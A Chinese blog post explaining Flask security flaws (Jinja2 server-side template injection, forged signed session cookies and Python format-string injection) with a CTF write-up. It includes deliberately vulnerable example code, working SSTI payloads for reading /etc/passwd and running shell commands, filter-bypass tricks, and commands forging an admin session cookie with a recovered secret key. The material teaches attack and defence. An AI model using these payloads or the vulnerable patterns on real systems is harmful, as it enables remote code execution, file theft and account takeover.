flask框架漏洞

2020-07-21  本文已影响0人  小小怪吃吃吃

一、简介

Flask 是一个使用 Python 编写的轻量级 Web 应用框架。Flask 依赖两个外部库: Jinja2模板引擎和WSGI 工具集。

1、常用概念

2、Jinja2

from flask import Flask,render_template,request,render_template_string

app=Flask(__name__)

@app.route('/',methods=['GET','POST'])
def test():
    code = request.args.get('test')
    html = '<html>%s</html>'
    return html%code
from flask import Flask,render_template,request,render_template_string

app=Flask(__name__)

@app.route('/',methods=['GET','POST'])
def test():
    html='<html>{{var}}<html>'
    test = request.args.get('test')
    return render_template_string(html,var=test)
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title></title>
</head>
<body>
    <h1>this is template html file</h1>
    <p>get var {{var}}<p>
</body>
</html>
from flask import Flask,render_template

app=Flask(__name__)

@app.route('/')
def test():
    return render_template('index.html',var="test")

二、SSTI漏洞

SSTI(Server-Side Template Injection) 服务端模板注入
,服务端接收了用户的输入,将其作为 Web 应用模板内容的一部分。通过模板,Web应用可以把输入转换成特定的HTML格式。在进行目标编译渲染的过程中,若用户插入了相关恶意内容,结果可能导致了敏感信息泄露、代码执行、GetShell 等问题。

1、基础知识

2、漏洞成因

将参数当字符串来渲染并且使用了%(request.url)导致模版渲染可控。如下:

from flask import Flask
from flask import render_template
from flask import request
from flask import render_template_string

app = Flask(__name__)
@app.route('/test',methods=['GET', 'POST'])
def test():
    template = '''
        <div class="center-content error">
            <h1>Oops! That page doesn't exist.</h1>
            <h3>%s</h3>
        </div> 
    ''' %(request.url)

    return render_template_string(template)

if __name__ == '__main__':
    app.debug = True
    app.run()

漏洞代码使用了render_template_string函数,而如果使用render_template函数,将变量传入进去,经过固定模版的渲染便不可控了。

3、漏洞利用

在python中,object类是Python中所有类的基类,如果定义一个类时没有指定继承哪个类,则默认继承object类。

(1)类说明

获取基本类->获取基本类的子类->在子类中找到关于命令执行和文件读写的模块。

可以利用.init.globals来找os类下的,init初始化类,然后globals全局来查找所有的方法及变量及参数。

1、获取’‘的类对象:''.__class__
2、追溯继承树:''.__class__.__mro__
3、可以看到object已经出来了,然后继续向下查找object的子类:''.__class__.__mro__[2].__subclasses__()
4、找到可执行命令或者读文件的方法,找到第40个为<type> 'file',执行命令:''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()

(3)常用payload
经常会有paylaod打不通的情况类所在的索引随环境变换而不一样,下标也应随之改变,所以打不通可以再找一个能利用的类。

构造继承链的思路是
1)随便找一个内置类对象用class拿到他所对应的类
2)用bases拿到基类(<class 'object'>)
3)用subclasses()拿到子类列表
在子类列表中直接寻找可以利用的类。

python3
- 文件读取:{{().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__['open']('1.py').read()}}
- 命令执行:{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}

python2
- 文件读取:{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}
- 文件读取:().\_\_class__.\_\_bases\_\_[0].\_\_subclasses__()[40]('/etc/passwd').readlines
- 文件读取:{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}  
- 写文件:{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/1').write("") }}
- 命令执行:{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()"
- 命令执行:{{''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg','w').write('code')}}  
{{ config.from_pyfile('/tmp/owned.cfg') }} 
- 
python2、python3共有,可命令执行:
{% for c in ().__class__.__bases__[0].__subclasses__(): %}
{% if c.__name__ == '_IterationGuard': %}
{{c.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()") }}
{% endif %}
{% endfor %}

4、一些绕过tips

(1)过滤[]等括号

使用gititem绕过。如原poc {{"".class.bases[0]}}
绕过后{{"".class.bases.getitem(0)}}

(2)过滤了subclasses,拼凑法

原poc{{"".class.bases[0].subclasses()}}
绕过 {{"".class.bases[0]['subcla'+'sses']}}

(3)过滤class,使用session

poc {{session['cla'+'ss'].bases[0].bases[0].bases[0].bases[0].subclasses()[118]}}
多个bases[0]是因为一直在向上找object类。使用mro就会很方便
{{session['__cla'+'ss__'].__mro__[12]}}
或者
request['__cl'+'ass__'].__mro__[12]}}

(4)timeit姿势

import timeit
timeit.timeit("__import__('os').system('dir')",number=1)

import platform
print platform.popen('dir').read()

三、session漏洞

1、介绍

客户端请求服务端时,服务端会为客户端创建一个Session,并检查请求中是否包含Session ID。一般来说,Session ID则以Cookie的形式保存在客户端。但这种方式有一个弊端就是如果客户端禁用了Cookie,那么Session机制将无法正常工作。

session介绍

2、flask session

将session存储在客户端cookie中,最重要的就是解决session不能被篡改的问题。

由于 flask 是非常轻量级的 Web框架 ,其 session 存储在客户端中(可以通过HTTP请求头Cookie字段的session获取),且仅对 session 进行了签名,缺少数据防篡改实现,这便很容易存在安全漏洞。

(1)flask session 分析
flask对session的处理位于flask/sessions.py中,默认情况下flask的session以cookie的形式保存于客户端,利用签名机制来防止数据被篡改。

.eJwljrFuwzAMBf9FcwZSpkQyP2NQoh5aBGgBO5mC_HsNdLy75d5lx7HOr3J_Hq91K_t3lnuxGamDI6kmLPpa1TE0UKteyYSpJyaaVJ8hRGZDk7ZtLlEbpALjxjOc1SaZWzLSx-aB3p0djSta984kjXqMrQqrE3WhBMo18jrX8X_D9eJ5Htifv4_1cxltCgQ3V0zvIsGBjDAlGQsqNJEi08vnD15kP8Q.XxKIMg.iW96TDgIamKLQ0x9h5LoPsUCIvw
json->zlib->base64后的源字符串 . 时间戳 . hmac签名信息

(2)漏洞成因
漏洞的根源是secretkey被获取,应当使用完全随机的secretkey,或在clone某项目后修改为随机的key。
** 需要特别注意的是python2与python3下产生的timestamp是不一样的!!!**
(3)利用工具:

四、格式化字符串问题

在 python 中,提供了 4种 主要的格式化字符串方式。

1、第一种:%操作符

%操作符 沿袭C语言中printf语句的风格。

>>> name = 'Bob'
>>> 'Hello, %s' % name
"Hello, Bob"

2、第二种:string.Template

使用标准库中的模板字符串类进行字符串格式化。

>>> name = 'Bob'
>>> from string import Template
>>> t = Template('Hey, $name!')
>>> t.substitute(name=name)
'Hey, Bob!'

3、第三种:调用format方法

python3后引入的新版格式化字符串写法,但是这种写法存在安全隐患。

>>> name , errno = 'Bob' , 50159747054
>>> 'Hello, {}'.format(name)
'Hello, Bob'
>>> 'Hey {name}, there is a 0x{errno:x} error!'.format(name=name, errno=errno)
'Hey Bob, there is a 0xbadc0ffee error!'

安全隐患事例如下:

>>> config = {'SECRET_KEY': '12345'}
>>> class User(object):
...  def __init__(self, name):
...   self.name = name
...
>>> user = User('joe')
>>> '{0.__class__.__init__.__globals__[config]}'.format(user)
"{'SECRET_KEY': '12345'}"

如果用来格式化的字符串可以被控制,攻击者就可以通过注入特殊变量,带出敏感数据。

4、第四种:f-Strings

这是python3.6之后新增的一种格式化字符串方式,即'``'其功能十分强大,可以执行字符串中包含的python表达式,安全隐患可想而知。

>>> a , b = 5 , 10
>>> f'Five plus ten is {a + b} and not {2 * (a + b)}.'
'Five plus ten is 15 and not 30.'
>>> f'{__import__("os").system("id")}'
uid=0(root) gid=0(root) groups=0(root)
'0'

五、实例

1、题目来源:UCAS七月月赛(web-flask)
2、题目考点:flask ssti、flask session伪造
3、解题思路:
(1)得到secret_key:


secret_key

(2)session伪造admin,得到flag路径:


session伪造
其中,_user_id可能是需要伪造的点,猜想admin的_user_id为1;
解密:
python flask_session_cookie_manager2.py decode -c .eJwljrFuwzAMBf9FcwZSpkQyP2NQoh5aBGgBO5mC_HsNdLy75d5lx7HOr3J_Hq91K_t3lnuxGamDI6kmLPpa1TE0UKteyYSpJyaaVJ8hRGZDk7ZtLlEbpALjxjOc1SaZWzLSx-aB3p0djSta984kjXqMrQqrE3WhBMo18jrX8X_D9eJ5Htifv4_1cxltCgQ3V0zvIsGBjDAlGQsqNJEi08vnD15kP8Q.XxKIMg.iW96TDgIamKLQ0x9h5LoPsUCIvw

{"_fresh":false,"csrf_token":"a0972006ffd82895b5dad41252d08181f3fc0c8a"}

{"_fresh":true,"_id":"8cad7b1ad02df8a6ee29fb7af227cad84106dfcf5429ca40088b7d033ce478b074f8151ca9178c0898d1fd9b39af66919f512f5696104506ab32417900640dff","_user_id":"12","csrf_token":"757ffa1597fc9644a1afdaa8704bef740cfd44c9"}

加密
python flask_session_cookie_manager2.py encode -s '9RqazxdzNwq721!nOodK3*' -t "{u'_fresh': True,u'_id': u'8cad7b1ad02df8a6ee29fb7af227cad84106dfcf5429ca40088b7d033ce478b074f8151ca9178c0898d1fd9b39af66919f512f5696104506ab32417900640dff',u'_user_id': u'1',u'csrf_token': u'757ffa1597fc9644a1afdaa8704bef740cfd44c9'}"

(3)SSTI读/home/flag.txt


SSTI

参考

1、https://www.cnblogs.com/Rasang/p/12181654.html
2、https://xz.aliyun.com/t/3679
3、https://www.shangyexinzhi.com/article/1914048.html
4、https://github.com/mez-0/ssti-payload
5、https://www.jianshu.com/p/a1d6ae580add
6、https://www.cnblogs.com/hackxf/p/10480071.html
7、https://zgao.top/flask%E4%B9%8Bssti%E6%9C%8D%E5%8A%A1%E7%AB%AF%E6%A8%A1%E7%89%88%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/
8、https://wh0ale.github.io/2019/01/17/2019-1-17-session%E6%BC%8F%E6%B4%9E/
9、flask源码解析
10、客户端session导致的安全问题
10、https://www.anquanke.com/post/id/163975
11、https://mochazz.github.io/2018/12/11/python%20web%E4%B9%8Bflask%20session&%E6%A0%BC%E5%BC%8F%E5%8C%96%E5%AD%97%E7%AC%A6%E4%B8%B2%E6%BC%8F%E6%B4%9E/#%E6%A1%88%E4%BE%8B%E5%88%86%E6%9E%90

上一篇 下一篇

猜你喜欢

热点阅读